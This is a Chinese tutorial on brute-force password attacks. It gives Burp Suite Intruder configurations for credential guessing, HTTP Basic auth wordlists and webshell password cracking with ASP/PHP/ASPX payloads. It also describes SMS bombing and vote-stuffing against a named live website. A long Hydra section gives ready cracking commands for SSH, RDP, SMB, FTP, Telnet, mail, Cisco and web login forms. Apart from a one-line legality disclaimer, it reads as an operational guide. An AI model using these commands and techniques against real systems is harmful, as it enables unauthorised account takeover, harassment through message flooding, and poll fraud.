web安全實驗01——暴力破解原理和測試流程


    暴力破解原理

暴力破解”是一攻擊具手段,在web攻擊中,一般會使用這種手段對應用系統的認證信息進行獲取。 其過程就是使用大量的認證信息在認證接口進行嘗試登錄,直到得到正確的結果。 為了提高效率,暴力破解一般會使用帶有字典的工具來進行自動化操作。 理論上來說,大多數系統都是可以被暴力破解的,只要攻擊者有足夠強大的計算能力和時間,所以斷定一個系統是否存在暴力破解漏洞,其條件也不是絕對的。 我們說一個web應用系統存在暴力破解漏洞,一般是指該web應用系統沒有采用或者采用了比較弱的認證安全策略,導致其被暴力破解的“可能性”變的比較高。 這里的認證安全策略, 包括: 1.是否要求用戶設置復雜的密碼; 2.是否每次認證都使用安全的驗證碼(想想你買火車票時輸的驗證碼~)或者手機otp; 3.是否對嘗試登錄的行為進行判斷和限制(如:連續5次錯誤登錄,進行賬號鎖定或IP地址鎖定等); 4.是否采用了雙因素認證; ...等等。 千萬不要小看暴力破解漏洞,往往這種簡單粗暴的攻擊方式帶來的效果是超出預期的!

從來沒有哪個時代的黑客像今天一樣熱衷於猜解密碼 ---奧斯特洛夫斯基

上面是官話版的暴力破解.我個人理解為暴力破解就是瞎猜.瞎試.結合你收集的一切信息利用社工也好,32GB大字典也好.反正就是逐一亂猜...猜對了.就破解成功了.

我們在生成破解密碼對應的文件的時候, 應該去嘗試注冊一個賬號,看看目標站點要求我們使用什么樣的密碼.例如目標站要求我們使用6位以上的密碼.顯然,我們的字典如果存在6位或者6位以下的就是不合理的.可以利用此方法.去除字典中不必要的密碼.

如果是爆破的后台,往往最應該嘗試的是admin/administrator/root/adminroot/等象征性比較高的用戶名,可以重點對這些用戶名+密碼進行嘗試.觀看返回結果.確定用戶名.

    爆破工具使用

  1. Burp Suite滲透操作指南 【暴力破解】
  2. Hydra滲透操作指南 【暴力破解】
 
**1.1 Intruder高效暴力破解**

其實更喜歡稱Intruder爆破為Fuzzing。Intruder支持多種爆破模式。分別是:單一字典爆破、多字段相同字典爆破、多字典意義對應爆破、聚合式爆破。最常用的應該是在爆破用戶名和密碼的時候。使用聚合方式枚舉了。
img
Payload Set的1、2、3分別對應要爆破的三個參數。
img

1.1.1 字典加載
Payload里面提供了一些fuzzing字典,但是總覺得不是特好用。
img
如果嫌棄自帶的字典不太符合國情,你可以手動加載自定義字典列表。
img
img
如果爆破的結果在返回數據包中有不同的信息,我們可以通過添加匹配來顯示每一個爆破的數據包中的部分類容,提高可讀性。
img
添加方法如下:
img
需要注意的是:Burp很多地方對中文支持不是特別好,在遍歷數據的時候經常會碰到中文亂碼的情況。如:

"LoginId":"xl7dev阿西吧","NickName":"阿西吧"
"LoginId":"xl7dev","NickName":""阿西吧"

由於響應數據的不確定因素,中文在加載字典的時候是亂碼,這里為了顯示好看,只匹配英文部分,可以使用正則:"LoginId":"([a-zA-Z0-9_]+)","NickName",最終提取的都是英文字符。
img
img

注意:Burpsuite對中文和空格支持不是很好,在設置字典路徑的時候應避免路徑中存在中文或者空格,字典內容中也要避免多余的空格。Porxy,repeater中的數據包中的中文亂碼可通過修改字符集和編碼糾正。
img

1.1.2 多種加密和編碼支持

Intruder支持多種編碼和加密,常見的base64加密、md5加密爆破通過intruder將變得很容易。
img
在爆破密碼或者某些參數的時候可能會遇到二次Md5加密、先URL編碼再Base64解密等等情況。其實intruder中的二次、三次加密或者解密很簡單。在Payload Processing中按照要加密/解密的順序依次添加就好了。如二次Md5:
img
第一個為123456的二次MD5
img

1.1.3 關於短信轟炸

現在有的短信發送限制為一分鍾發送一次,可以通過Burp設置延時爆破,一分鍾爆破一次。
img

1.1.4爆破指定數字長度

1.1.4.1采用Custom iterator

設置如下Password參數中\(1\)\(2\)$$3$$4$,Attack type為Sniper
img
在Payloads選項卡中Payload type設置Custom iterator
Payload Options>imgosition中分別對應選擇
1=>0 1 2 3 4 5 6 7 8 9
2=>0 1 2 3 4 5 6 7 8 9
3=>0 1 2 3 4 5 6 7 8 9
4=>0 1 2 3 4 5 6 7 8 9
img
效果如下圖:
img

1.1.4.2 采用Brute forcer方式

設置如下:
img
img
img

1.1.4.3 采用Numbers方式

​ 此方法不太穩定,可能有時候不會出現想要的結果
img
img

由此,可以套路一波Authorization: Basic爆破。直接上圖:
img
img
img
img
img

1.1.5 制作Authorization: Basic字典

除了上述方法,還可以通過一些奇葩的手段制作字典,不僅限於Authorization: Basic字典。這只是個例子,什么時候能用次方法,大家自己意淫吧。
img
常規的對username/password進行payload測試,大家應該沒有什么問題,但對於Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=這樣的問題,很多朋友疑惑了.
Auth=dXNlcjpwYXNzd29yZA==是個base64加密的字符串,解密后其組合形式時user:pwd。直接爆破時不可能的,應為字典比較獨特。如果大家手里有現成的user:pwd類型字典那不用說,要是沒有現成的,可以用以下方法生成:
1:隨便構造一個數據包,形式入下:

POST /test/ HTTP/1.1
Host: www.test.com

§username§§:§§password§
img
采用Cluster bomb模式,設置三個變量:
§user§§:§§password§

設置3處payloads,
Payload 1 ------ §user§ ------為user變量的字典
Payload 2 ------ §:§ ------ 固定為冒號“:”
Payload 3 ------ §pwd§ ------ 為pwd變量的字典
img
通過爆破發包的方式生成字典:
img
點擊save->Resuits table
img
按照如下選項選擇保存。
img img

接下來怎么爆破Authorization: Basic就很簡單了吧。
需要說明的是這個方法其實不是特別好,因為http發包線程關系,生成字典的速度不是很快,不像自己寫的腳本那么方便。
如果你安裝了CO2插件,生成這種字典就很容易了。
img

當然你也可以寫個腳本生成這樣的字典。全靠平時積累吧。
建議感興趣的同學好好研究下payload sets里面的各種方法。收獲一定不許小。
img

1.1.6爆破一句話木馬
其實就是利用一句話木馬傳入成功的參數執行命令,根據命令返回判斷是否得到了密碼一句話木。

1:抓包將提交方式由get改為post:
img
2:回車將如下代碼粘貼為post的內容:
payload=execute("response.clear:response.write(""passwordisright""):response.end")
img
2.1:在intruder中將payload設置為爆破變量:
img
3:添加爆破字典
img
成功得到密碼:byecho
img
下面是三種腳本的代碼:
ASP:password=execute("response.clear:response.write(""passwordright""):response.end")
PHP:password=echo phpinfo();
ASPX:password=execute("response.clear:response.write(""elseHelloWorld""):response.end")
大家可以思考小,如何才能結合之前Binghe在【python之提速千倍爆破一句話】中的高效爆破方法。地址:http://bbs.ichunqiu.com/thread-16952-1-1.html

1.1.7 有限制刷票
演示地址:http://guojigongguan.cn/2014/baobao/babyshow.shtml?BabyID=59
本例投一次票會請求2次,第一次是一個點擊狀態請求post,第二次才是投票
img
第二次post頁面只需要把cookie刪除
Cookie: GUID=6966a72e-a577-4050-801f-0ddd43a2beb5
img
Intruder設置
img
img

1.1.8 關於字典
字典這塊值得好好研究下,下如何才能高效的爆破后台。之前遇到過一個大牛,只要能爆破的,很多時候都成功了,一般人去卻做不到。有一套好的密碼生成方法很重要。我沒啥好的方法,所以這里也想個大家做些探討:針對具體的目標網站,有哪些行之有效的字典生成方法?有哪些值得推薦的工具?
希望大家積極評論,我將整理有用的方法並及時更新。
如何選取字典

1.OA、mail、tms、crm、mes等系統常用用戶名:
姓名拼音。
6位、8位數字編號。

2.一般后台用戶名:
常用的用戶名TOP100、TOP1000
姓名拼音TOP100、TOP1000

3.密碼字典
最先嘗試最弱面:123456、888888、666666、111111、12345678、test、admin等
其次嘗試TOP100、TOP1000。
一定要搞,那就用更大的字典。
**
4.運營商、網絡公司(思科、華為等等)的網絡設備或者網站都有很多獨特的用戶名和密碼,大家可以上網收集一下。**
個人密碼生成
根據個人信息融入常規弱口令,形成帶入個人特征的密碼:
http://www.caimima.net/index.php
密碼分析軟件Oopa
地址:https://github.com/chao-mu/Oopa,首先用pip安裝prettytable模塊
img
分析統計用的最多的前二十個密碼:python oopa.py --analysis keyword xxxx.txt --top 20
img
分析個位數密碼占所有密碼的百分比:python oopa.py --analysis length xxxx.txt --sort Count



 

Hydra

Hydra是一個自動化的爆破工具,暴力破解弱密碼,是一個支持眾多協議的爆破工具,已經集成到KaliLinux中,直接在終端打開即可。

每個密碼安全研究都顯示,最大的安全漏洞是密碼。該工具是概念代碼的證明,為研究人員和安全顧問提供了展示從遠程系統獲取未授權訪問是多么容易的可能性。

這個工具僅供法律使用!

已有幾種登錄黑客工具可用,但是,沒有一種工具支持多種協議來攻擊或支持並行連接。

它經過測試,可以在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(Blackberry 10)和MacOS上進行干凈的編譯。

目前該工具支持以下協議:Asterisk,AFP,Cisco AAA,Cisco auth,Cisco enable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST ,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTPS-POST,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP ,Oracle監聽器,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,SAP / R3,SIP,SMB,SMTP,SMTP Enum,SNMP v1 + v2 + v3,SOCKS5 ,SSH(v1和v2),SSHKEY,Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP。

#安裝依賴
yum -y install gcc libssh-devel openssl-devel
#克隆項目
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure --prefix=/usr/local/hydra && make && make install
ln -s /usr/local/hydra/bin/hydra /usr/bin/

常用選項:
選項                說明 示例
-h 查看所有可用的命令行選項         hydra -h
-U 檢查模塊是否具有可選參數 hydra     -U smb
-l 指定用戶名                  -l zhangsan
-p 指定密碼                  -p 123456
-C 使用冒號分隔的user:passwd格式,而不是-l/-p      -C zhangsan:123456
-L 指定用戶名字典文件            -L /root/user.dict
-P 指定密碼字典文件             -P /root/passwd.dict
-M 指定目標IP列表文件           -M /root/ip.dict
-e 嘗試“嘗試登錄為密碼”和“空密碼”      -e ns
-s 指定對應模塊使用的端口,例如:如果ssh端口不是默認22,這里可以指定      -s 2222
-t 指定線程數,默認16            -t 1
-vV 顯示詳細破解過程            -vV
-o 指定將結果輸出到文件 -o /root/result.txt
-b 指定-o選項輸出的結果信息的類型,默認為文本信息,可以自定為jsonv1和json格式。      -b json
-R 恢復先前中止/崩潰的會話(當hydra被Control-C中止,被殺死或崩潰時,它會留下一個“hydra.restore”文件,其中包含恢復會話所需的所有信息。此會話文件每5分鍾寫入一次。注意:hydra.restore文件不能復制到不同的平台(例如從小端到大端,或從Solaris到AIX))   -R
-I 忽略現有的恢復文件(不要等待10秒)        -I
-S 執行SSL連接      -S
-f 在使用-M參數后,找到第一對登錄用戶和密碼的時候終止破解      -f
-W 設置最大超時時間,單位秒,默認30秒        -W 60
-q 不要打印有關連接錯誤的消息    -q

創建user.txt和passwd.txt步驟省略......

img

img

剛才開始破解時用-o選項保存到了ssh.log文件中,打開ssh.log查看下:

img

可以看到已經顯示出了遠端IP、用戶名、密碼...

使用案例:

使用hydra破解ssh的密碼
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https:
# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:
# hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak

破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra IP rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet
# hydra IP telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V

破解ftp:
# hydra IP ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
# hydra IP ftp -l 用戶名 -P 密碼字典 -e ns -vV
get方式提交,破解web登錄:
  # hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns IP http-get /admin/
  # hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登錄:
  該軟件的強大之處就在於支持多種協議的破解,同樣也支持對於web用戶界面的登錄破解,get方式提交的表單比較簡單,這里通過post方式提交密碼破解提供思路。該工具有一個不好的地方就是,如果目標網站登錄時候需要驗證碼就無法破解了。帶參數破解如下:





  假設有以上一個密碼登錄表單,我們執行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

  說明:破解的用戶名是admin,密碼字典是pass.lst,破解結果保存在ok.lst,-t 是同時線程數為1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是采用http 的post 方式提交的表單密碼破解。

  后面參數是網頁中對應的表單字段的name 屬性,后面<title>中的內容是表示錯誤猜解的返回信息提示,可以自定義。

  • 破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
  • 破解teamspeak:
# hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
  • 破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
  • 破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
  • 破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
  • 破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
  • 破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
  • 破解telnet
# hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V

六、總結

此工具強大之處遠多於以上測試,其密碼能否破解關鍵在於強大的字典,對於社工型滲透來說,有時能夠得到事半功倍的效果。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM